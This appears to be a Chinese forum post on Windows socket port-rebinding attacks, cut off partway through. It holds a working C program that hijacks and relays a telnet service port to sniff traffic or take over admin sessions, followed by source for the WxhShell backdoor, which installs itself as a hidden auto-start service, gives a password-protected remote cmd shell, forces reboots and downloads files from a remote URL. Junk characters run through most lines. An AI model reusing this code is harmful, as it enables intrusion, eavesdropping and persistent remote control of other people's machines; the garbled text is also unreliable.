在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Gg\805L@ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
fn1G^a= q Z,7q saddr.sin_family = AF_INET;
3y9K' 7q' _]$ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
>z`^Q[ RO([R=.`/ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Z]1=nSv eu]t.Co[X 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Nf#8V| m5G9
B-\? 这意味着什么?意味着可以进行如下的攻击:
: *~}\M* *6-f vqCv 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Zewx*Y| wQ 7G_kVp 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
lE8M.ho\ 0{8^)apII 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
AF=9KWqf
Xy74D/ocui 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
P~>E j=%^CRum 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
hU}!:6G%[P 98%M`WY 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
:N826_q 6(Qr!< 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
tj:Q]]\M QJcaOXyMS #include
zH1pW( #include
;>eD`Wh #include
3
e19l!B #include
6hE. i
x DWORD WINAPI ClientThread(LPVOID lpParam);
,+u.FQv~ int main()
=1JS6~CTLN {
t Z_ni} WORD wVersionRequested;
"!9hcv-; DWORD ret;
Gj~1eS WSADATA wsaData;
B]`!L/ BOOL val;
n>)'! SOCKADDR_IN saddr;
/D]V3|@E SOCKADDR_IN scaddr;
X" hoDg int err;
JYY:~2
SOCKET s;
d$3;o&VUNI SOCKET sc;
eb])= int caddsize;
.HM1c HANDLE mt;
6z/ct|n DWORD tid;
%{fa
.>6 wVersionRequested = MAKEWORD( 2, 2 );
4k
HFfc err = WSAStartup( wVersionRequested, &wsaData );
ad\?@>[I if ( err != 0 ) {
2 kOFyD
printf("error!WSAStartup failed!\n");
i/&?e+i return -1;
>|)ia5# }
K/2k/\Jk[_ saddr.sin_family = AF_INET;
+h64idM{U 6,ZfC<) //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
M~0A-*N h6*&1r saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
`A]CdgA saddr.sin_port = htons(23);
fZ9EE3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
yj^LX2x" {
-xJ_5 printf("error!socket failed!\n");
19Cs
3B \4 return -1;
(RDY-~#~ }
}Htnhom0n val = TRUE;
|Ef\B]Ns //SO_REUSEADDR选项就是可以实现端口重绑定的
n21Pfig if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
A9*( O) {
[j6EzMN printf("error!setsockopt failed!\n");
Quc,,#u return -1;
yGNZw7^( }
uCc.dluU //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
*wgHa6?+7 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Q}KNtNCpx //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
5E~?hWAv n{>Ge,enP0 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
D 8nt%vy {
.6,+q2tyk, ret=GetLastError();
(xp<@- printf("error!bind failed!\n");
dLtSa\2Hn return -1;
+E8Itb, }
4"OUmh9LHB listen(s,2);
E+Jh4$x{ while(1)
4G:I VK9 {
56;(mbW caddsize = sizeof(scaddr);
)'<B\P/ //接受连接请求
^2gDhoO_ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Lx{bR= if(sc!=INVALID_SOCKET)
KGMX >t' {
`y&d mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
? m$uqi if(mt==NULL)
|-WoR u {
[DW}z printf("Thread Creat Failed!\n");
3)F9:Tzw1 break;
Cm~h\+" }
-S7PnR6 }
y8Q96zi CloseHandle(mt);
QHt;c }
49)A.Bh&! closesocket(s);
HT]v S}s WSACleanup();
L53qQej< return 0;
Q^^.@FU"x }
~s}0z&v^te DWORD WINAPI ClientThread(LPVOID lpParam)
b-/zt Z@u {
*WSH-*0 SOCKET ss = (SOCKET)lpParam;
4=j,:q SOCKET sc;
Fq{Z-yVp unsigned char buf[4096];
j3Ng] @N SOCKADDR_IN saddr;
#RE long num;
_eB?G DWORD val;
f@ &?K< DWORD ret;
64Ot`=A" //如果是隐藏端口应用的话,可以在此处加一些判断
lpW|GFG //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
)$V &Nf
saddr.sin_family = AF_INET;
vepZod}D saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
.g CC$ saddr.sin_port = htons(23);
;5wmQFr if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`w_?9^7mH {
&cjE+ printf("error!socket failed!\n");
=)56]ki} return -1;
U'pm5Mc\q }
<
q6z$c)K val = 100;
o8!gV/oy if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
QN %w\JXS {
1B;-ea ret = GetLastError();
*. H1m{V return -1;
xS~OAcxg }
LPjsR=xi if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
DVu_KT[H d {
4dDDi,)U ret = GetLastError();
F^5<o return -1;
u3!aKXnv< }
^y.e
Fz if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
&&iZ?JteZ {
8\Y/?$on printf("error!socket connect failed!\n");
F&{RP> closesocket(sc);
S
("Zzq` closesocket(ss);
Sz\"*W;> return -1;
^wL
n }
)4d)G5{ while(1)
DRldRm/ {
j8@Eqh //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
RU>Hr5ebo //如果是嗅探内容的话,可以再此处进行内容分析和记录
p_!;N^y. //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
O<3i6 num = recv(ss,buf,4096,0);
8:Yha4<Bv7 if(num>0)
$9GRA M. send(sc,buf,num,0);
^!]Hm&.a else if(num==0)
,"U8Fgf[r break;
!/4f/g4Ze num = recv(sc,buf,4096,0);
?Rc+H;x=f if(num>0)
Wsn}Y-x send(ss,buf,num,0);
RP]hW{:U else if(num==0)
j @c
fR break;
M@a?j<7P,m }
4X2XSK4 closesocket(ss);
SnK j:|bV closesocket(sc);
{(}Mu R return 0 ;
%IS'R`;3 }
ALw5M'6q0\ yVThbL_YJ lVywc:X ==========================================================
4\HB rd#P h&7]Bp 下边附上一个代码,,WXhSHELL
=<-tD< 55vpnRM ==========================================================
'1)BZ!
aqvt$u8 #include "stdafx.h"
>3H/~ Y tuA,t #include <stdio.h>
*_<P%J #include <string.h>
1sFTXl #include <windows.h>
WA-`
*m$v #include <winsock2.h>
m`<Mzk.u< #include <winsvc.h>
a:jRQ-F) #include <urlmon.h>
T^-fn t#+X*'/ #pragma comment (lib, "Ws2_32.lib")
I)~&6@Jn #pragma comment (lib, "urlmon.lib")
15Vb`Vf`N Si<9Oh #define MAX_USER 100 // 最大客户端连接数
^7`"wj14 #define BUF_SOCK 200 // sock buffer
0_HdjK #define KEY_BUFF 255 // 输入 buffer
\Nc/W!r*9 -GkNA"2M[ #define REBOOT 0 // 重启
%?^T^P #define SHUTDOWN 1 // 关机
$|v_ pjUu] Lm<"W_ #define DEF_PORT 5000 // 监听端口
||y5XXs 9X8{"J #define REG_LEN 16 // 注册表键长度
9Vx2VjK2' #define SVC_LEN 80 // NT服务名长度
IVYWda0m Bcx-t)[ // 从dll定义API
n{F$,a typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
D_GIj$%N[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
yD
iL typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
q<> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
cq'opjLf 5 0N3 cC4! // wxhshell配置信息
vjG:
1|*e struct WSCFG {
Hz$l)g}U int ws_port; // 监听端口
\14"B gj1 char ws_passstr[REG_LEN]; // 口令
!Gu,X'#Ab int ws_autoins; // 安装标记, 1=yes 0=no
u49zc9 char ws_regname[REG_LEN]; // 注册表键名
tE0DST/ char ws_svcname[REG_LEN]; // 服务名
&x{CC@g/ char ws_svcdisp[SVC_LEN]; // 服务显示名
N9r}nqCN char ws_svcdesc[SVC_LEN]; // 服务描述信息
:+ef|,:`/ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
lkf(t&vL2 int ws_downexe; // 下载执行标记, 1=yes 0=no
.gNWDk0$Y char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
]%I cUd} char ws_filenam[SVC_LEN]; // 下载后保存的文件名
:ho)3kB 7<[p1C*B };
@Md%gEh;& H{'<v|I // default Wxhshell configuration
:.['e` struct WSCFG wscfg={DEF_PORT,
&~P5[[Q "xuhuanlingzhe",
$ WA Fr 1,
8P r H"pI "Wxhshell",
@NGK2J "Wxhshell",
>W"gr]R< "WxhShell Service",
Ec| Gom? "Wrsky Windows CmdShell Service",
q10gKVJum "Please Input Your Password: ",
W=M`Bkw{ 1,
THirh6 "
http://www.wrsky.com/wxhshell.exe",
b:.aZ7+4 "Wxhshell.exe"
&eV& +j };
HlqvXt\ Ktg{-Xl // 消息定义模块
9I8{2] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
v8"plx=3 char *msg_ws_prompt="\n\r? for help\n\r#>";
\P]w^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Ev;HV}G char *msg_ws_ext="\n\rExit.";
}f)$+mi char *msg_ws_end="\n\rQuit.";
H8~<;6W char *msg_ws_boot="\n\rReboot...";
J#B%
#X char *msg_ws_poff="\n\rShutdown...";
{S(d5o8 char *msg_ws_down="\n\rSave to ";
>TUs~ c6sGjZdR char *msg_ws_err="\n\rErr!";
`_sc_Y|C! char *msg_ws_ok="\n\rOK!";
pN/)$6= M}NmA char ExeFile[MAX_PATH];
0!F"s>(H int nUser = 0;
!%x8!;za HANDLE handles[MAX_USER];
9Vz1*4Ln int OsIsNt;
h)BRSs?v_D Q[^IX SERVICE_STATUS serviceStatus;
Dt)\q^bH) SERVICE_STATUS_HANDLE hServiceStatusHandle;
{dJC3/Rf 6>v`6 // 函数声明
Vu '/o[nF> int Install(void);
pv&:N,p int Uninstall(void);
6\ /x int DownloadFile(char *sURL, SOCKET wsh);
@cdd~9w int Boot(int flag);
yiGq?WA7 void HideProc(void);
naCPSsei int GetOsVer(void);
^,')1r, int Wxhshell(SOCKET wsl);
24"Trg\WK[ void TalkWithClient(void *cs);
O[f* ! int CmdShell(SOCKET sock);
Q=J"#EFs int StartFromService(void);
f7 V3 6Q8 int StartWxhshell(LPSTR lpCmdLine);
8;;!2>N uZ( I|N$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
H];|<G VOID WINAPI NTServiceHandler( DWORD fdwControl );
R*IO%9O Qj~m;F! // 数据结构和表定义
d_=@1JM> SERVICE_TABLE_ENTRY DispatchTable[] =
8R Wfv}:X {
GwxxW {wscfg.ws_svcname, NTServiceMain},
')t
:!#
{NULL, NULL}
#}L75 };
}\}pSqW |n=m{JX \m // 自我安装
![3#([>4> int Install(void)
:#58m0YLA: {
V{;! vt~ char svExeFile[MAX_PATH];
\y^ Od7F HKEY key;
F+Rtoq| strcpy(svExeFile,ExeFile);
8*3o9$Pj HXhz |s0 // 如果是win9x系统,修改注册表设为自启动
'Ca6cm3Tg if(!OsIsNt) {
h`dtcJ0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,<F =\G_f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
m8eyAvi6 RegCloseKey(key);
%"PG/avo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
OiX:h# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^pZ1uN!b RegCloseKey(key);
D'Tb= return 0;
>k,|N4( }
J]/TxUE }
1o)@{x/pd }
;hGC.}X else {
3TqC.S5+ F,Q\_H##x4 // 如果是NT以上系统,安装为系统服务
LnIln[g: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
D"0:n. if (schSCManager!=0)
PVHJIB {
*LpEH,J SC_HANDLE schService = CreateService
6s\niro2 (
S[!K schSCManager,
){`s&? M0 wscfg.ws_svcname,
:b)IDcW&j: wscfg.ws_svcdisp,
HQ~`ha. SERVICE_ALL_ACCESS,
%JM:4G|q SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
~K}iVX SERVICE_AUTO_START,
I&~kwOP SERVICE_ERROR_NORMAL,
p3ox%4 svExeFile,
j_*$Avy NULL,
=r"8J5[f NULL,
rF:C({y NULL,
z(2pl} NULL,
<+ UEM~) NULL
4Gs#_|! );
qp_lMz if (schService!=0)
.gTla {
kcKcIn{ CloseServiceHandle(schService);
\"Z^{Y[,; CloseServiceHandle(schSCManager);
&<6E*qM strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
*,<A[XP strcat(svExeFile,wscfg.ws_svcname);
vdw5T&Q{{C if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
I|69|^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
D/)wg$MI RegCloseKey(key);
l+!!S"=8)~ return 0;
's> }
&5puGnTZ }
W_l/Jpv!W CloseServiceHandle(schSCManager);
|N_tVE }
m3W:\LTTp }
ST$~l7p g^|}e? return 1;
!.1oW( }
^Pl(V@ T<(1)N1H` // 自我卸载
#\s*>Z int Uninstall(void)
.[&0FHnJ5 {
ap=m5h27 HKEY key;
~_opU(;f aX`"V/ if(!OsIsNt) {
+v.uP [H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
{<&i4; RegDeleteValue(key,wscfg.ws_regname);
@_s`@,= RegCloseKey(key);
MCOiB<L6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Z`x|\jI RegDeleteValue(key,wscfg.ws_regname);
/jl{~R#1 RegCloseKey(key);
]&6# {I- return 0;
HS> (y2}' }
!/]F.0 }
Py*( % }
M)S(:Il6Xx else {
z~&uLu -^sW{s0Rc SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
m(CW3:| if (schSCManager!=0)
j1{|3#5V {
d 90 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
3FRz&FS:j if (schService!=0)
]<b$k {
Uytq,3Gj6 if(DeleteService(schService)!=0) {
sd4eJ CloseServiceHandle(schService);
X`#,*HkK CloseServiceHandle(schSCManager);
oSVo~F return 0;
Gl8D
GELl; }
nOq?Q CloseServiceHandle(schService);
PL$*)#S"$ }
*D`]7I~} CloseServiceHandle(schSCManager);
u=_"*:} }
qLrvKoEX2 }
&"HxAK)f Ku;|Dz/=o return 1;
\f| Hk*@ }
MKVz'-`u tGt/=~n9 // 从指定url下载文件
iMG)zPj int DownloadFile(char *sURL, SOCKET wsh)
]xGo[:k|E {
5ncjv@Aa HRESULT hr;
*+(t2!yFmE char seps[]= "/";
.OhpItn char *token;
lGrp^ char *file;
fH#yJd2?f char myURL[MAX_PATH];
:QKxpHi char myFILE[MAX_PATH];
t~5m[C[`w fM,!9}< strcpy(myURL,sURL);
e7e6b-"_2 token=strtok(myURL,seps);
<Z{pjJ/ while(token!=NULL)
N>h/!#
ZC {
d4ANh+}X"_ file=token;
,TeJx+z^ token=strtok(NULL,seps);
)Ve-) rZ }
V~#e%&73FH W|@7I@@$" GetCurrentDirectory(MAX_PATH,myFILE);
s5/5>a V strcat(myFILE, "\\");
Bmx+QO strcat(myFILE, file);
Mdk(FG( send(wsh,myFILE,strlen(myFILE),0);
'{]1!yMh send(wsh,"...",3,0);
E/bIq}R6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
5mzOr4*0 if(hr==S_OK)
J%VcvBaJm return 0;
0$=Uhi
else
?O(@BT return 1;
BR&T,x/d EY3x o-H }
'I$-h<W 8:#\g // 系统电源模块
pe^hOzVv int Boot(int flag)
(EW<Ggi {
5>9KW7^L HANDLE hToken;
[3$L}m TOKEN_PRIVILEGES tkp;
H CBZ*Z- FHztF$Z if(OsIsNt) {
"ijpqI OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
EY~b,MIL4 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
4%! #=JCl tkp.PrivilegeCount = 1;
#h,7dz.d tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
*"cK_MH/o AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Q6>7{\8l if(flag==REBOOT) {
X;2I'
Kg if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Za,MzKd= return 0;
@8keLrp }
g%C!)UbT else {
ku2gFO if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
s|40v@M return 0;
|W't-}yf }
}iGpuoXT` }
$qz(9M(m# else {
-dRnozs6W if(flag==REBOOT) {
"n<rP 3y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
7JC^+rk return 0;
l>(w] }
)q.Z}_,)@ else {
^O>G?a if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
XOOWrK7O return 0;
NxOiT#YH }
euxkw]`h6 }
3k%fY woSO4e/ return 1;
v %?y5w }
,/m@<NyK "h@|XI // win9x进程隐藏模块
qcN{p7=0 void HideProc(void)
]lBe {
~*R:UTBtw s,5SWdb\v HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
(~59}lu~ if ( hKernel != NULL )
:S['hBMN {
ioIOyj pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
uj8G6'm% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
'A^ ;P]y FreeLibrary(hKernel);
tx$i( }
O"'.n5>:`
24Y8n return;
8S8^sP }
[{s 1=c 4[\$3t.L // 获取操作系统版本
gzHMZ/31 int GetOsVer(void)
@M]uUL-ze {
$ 12mS OSVERSIONINFO winfo;
;Avz%2#c` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
YwbRzY-#F GetVersionEx(&winfo);
d]3c44kkK{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Yg @&@S] return 1;
]1 V,_^D else
">{Ruv}$ return 0;
4jWzYuI&J }
s=[Tm}[ uq/z.m // 客户端句柄模块
AD$$S.zoD< int Wxhshell(SOCKET wsl)
|3Fo4K%+ {
Mz?xvP?z SOCKET wsh;
fG *1A\t] struct sockaddr_in client;
P4\{be>e DWORD myID;
"PFczoRZ s!lLdR[g while(nUser<MAX_USER)
%NyV2W=~X {
3CKd[=-Z int nSize=sizeof(client);
@Feusprs wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
I "8:IF if(wsh==INVALID_SOCKET) return 1;
b 8vyJb,K -d j9(~?^ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
<>|&%gmz if(handles[nUser]==0)
DGs=.U-=e closesocket(wsh);
{S9't;%] else
+%O_xqq nUser++;
.Lwp`{F/ }
. J/x@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
kiah,7V/ z;c~(o@4 return 0;
7o+JQ&fF; }
;~A-32;Y4 Fwu:x.( // 关闭 socket
iRbTH}4i void CloseIt(SOCKET wsh)
Lip(r3 {
z~O#0Q! closesocket(wsh);
v?s]up @@h nUser--;
>A]U.C ExitThread(0);
A?YU:f }
3`Ug]<m Y)Os]<N1 // 客户端请求句柄
h20<X; void TalkWithClient(void *cs)
*btLd7c% {
Q|gw\.]$&[ X@["Jjp SOCKET wsh=(SOCKET)cs;
Z+gG.|"k char pwd[SVC_LEN];
'8k{\> char cmd[KEY_BUFF];
'7Ad:em
char chr[1];
A^m]DSFOO int i,j;
@;6I94Bp ?Aq
\Gr while (nUser < MAX_USER) {
jfLkp>2E' |D@/4B1P if(wscfg.ws_passstr) {
fZq_]1(/uP if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\Zn%r&( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
a/4!zT //ZeroMemory(pwd,KEY_BUFF);
uVSc1MS1 i=0;
0h3-;% while(i<SVC_LEN) {
zL^`r)H
L+=pEk_ // 设置超时
\!*3bR fd_set FdRead;
n?UFFi+a struct timeval TimeOut;
Gp l FD_ZERO(&FdRead);
OI8Hf3d= FD_SET(wsh,&FdRead);
q7z;b A TimeOut.tv_sec=8;
?cZ#0U TimeOut.tv_usec=0;
0P+B-K>n int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
l[,RA?i
{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
`<?{%ja (TX\vI& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
u|.c?fW'3 pwd
=chr[0]; |vGb,&3
if(chr[0]==0xd || chr[0]==0xa) { (Yv )%2
pwd=0; "X[sW%# F
break; &7fwYV
} (G E)
i++; u|G&CV#r
} vqeWt[W
v
XEUy,>mR
// 如果是非法用户,关闭 socket S-5|t]LV
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $ ]fautQlt
} wU"0@^k]<
k2-:!IE
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FFG/v`NM
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L[j73z'
9 rMP"td
while(1) { <[oPh(!V
5z T~/6-(
ZeroMemory(cmd,KEY_BUFF); ]Qu.-F#g
WGK:XfOBQ
// 自动支持客户端 telnet标准 !{WIN%O
j=0; 342m=7lK
while(j<KEY_BUFF) { K1_]ne)
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mDCz=pk)
cmd[j]=chr[0]; *GGiSt
if(chr[0]==0xa || chr[0]==0xd) { *EB`~s
cmd[j]=0; ^D}]7y|fm
break; e@`"V,i
} ZCcKY6b
j++; sOf;I]E|
} 1DTA Dh0
t_+Xt$Q7C
// 下载文件 ='\Di '*
if(strstr(cmd,"http://")) { ./KXElvQ%
send(wsh,msg_ws_down,strlen(msg_ws_down),0); e7$ZA#A_5v
if(DownloadFile(cmd,wsh))
6m\MYay
send(wsh,msg_ws_err,strlen(msg_ws_err),0); QAk.~ob
else w nPg ).
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); liuw!
} yu~o9
else { Q4[^JQsR2
Y30T>5
switch(cmd[0]) { #Bih=A
#
Eq\PSa=gz
// 帮助 y-1!@|l0:6
case '?': { J^Mq4&
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v90)G8|q
break; C&1()U
} }JWLm.e
// 安装 k0/S&e,*
case 'i': { h{5K9$9=
if(Install()) h,!#YG@>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f6*6 *=
else HtN!Hgpwg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C||9u}Q<
break; Hf#VW^
} 6F)^8s02h
// 卸载 $GI
jWlAh
case 'r': { zZhA]J
if(Uninstall()) c97?+Y^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hd8 O3_5
else eF06B'uL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2BGS$$pP
break; rZi\
} rYP72<
// 显示 wxhshell 所在路径 ;UnJrP-if
case 'p': { Ocp`6Fj
char svExeFile[MAX_PATH]; oZ!1^o3V
strcpy(svExeFile,"\n\r"); ElK7jWJ+
strcat(svExeFile,ExeFile); ~x #RIt
send(wsh,svExeFile,strlen(svExeFile),0); YTk"'q-
break; W[R^5{k`
} jI;iTKjB(
// 重启 Z+%w|Sx
case 'b': { dln1JZ!
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h8)m2KrZ!.
if(Boot(REBOOT)) GI
;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ALO0yc
else { })#SjFq<V
closesocket(wsh); iL6Yk @
ExitThread(0); ,P.yl~'Al
} *i)3q+%.
break; Af`qe+0E
} 6`JY:~V"
// 关机 c2o.H!>
case 'd': { %p(!7FDE2n
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~M!9E])
if(Boot(SHUTDOWN)) Y;uQq-C P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N6%wHNYZ
else { !Y95e'f.x
closesocket(wsh); @L/p
ExitThread(0); b rpsZU
} ;&2f {
break; &$V&gAN
} ! !we4tWq
// 获取shell -H+<81"B#
case 's': { dW4FMm>|
CmdShell(wsh); tF&g3)D:NV
closesocket(wsh); %%c1@2G<
ExitThread(0); 0LW|5BVbIO
break; }QzF.![~z
} Q/2(qD; u
// 退出 -KA Y
case 'x': { "pa2,-&
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \}p!S$`
CloseIt(wsh); oWP3Y.
break; 0g{`Qd
} j YVR"D;
// 离开 !C3ozZ<
case 'q': { W-8U~*/
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0hB9D{`,{
closesocket(wsh); +WTO_J7
WSACleanup(); qH9bo-6
exit(1); )a=58r07
break; qZwqnH
} t"Tv(W?_
} t8:QK9|1
} m~;}8ObQE
'&+5L.
// 提示信息 "WfVZBWG$
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5%#V>|@e#
} nPRv.h
} f[s|<U^
gbvMS*KQz
return; rFLm!J]
} wnr<# =,I'
DN 0`vl{*
// shell模块句柄 ]K!NLvz
int CmdShell(SOCKET sock) +!JTEKHKH
{ 5BAGIO<w
STARTUPINFO si; \&jmSa=]l
ZeroMemory(&si,sizeof(si)); 7ZR0cJw;
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l RM7s(^l
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tMDJ,rT
PROCESS_INFORMATION ProcessInfo; 6!T9VL\=H
char cmdline[]="cmd"; /YrBnccqD
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q?0&&"T}
return 0; =&,<Co1 hF
} Zjq( ]y
SF.Is=b
// 自身启动模式 vP @\"
int StartFromService(void) =6Q\78b
{ $sS;#r0
typedef struct sL",Ho
{ 1{Kv
DWORD ExitStatus; ODFCA.
t
DWORD PebBaseAddress; 5==hyIy
DWORD AffinityMask; DV!10NqUr
DWORD BasePriority; @lhjO>@#I
ULONG UniqueProcessId; 6cVJu%<V
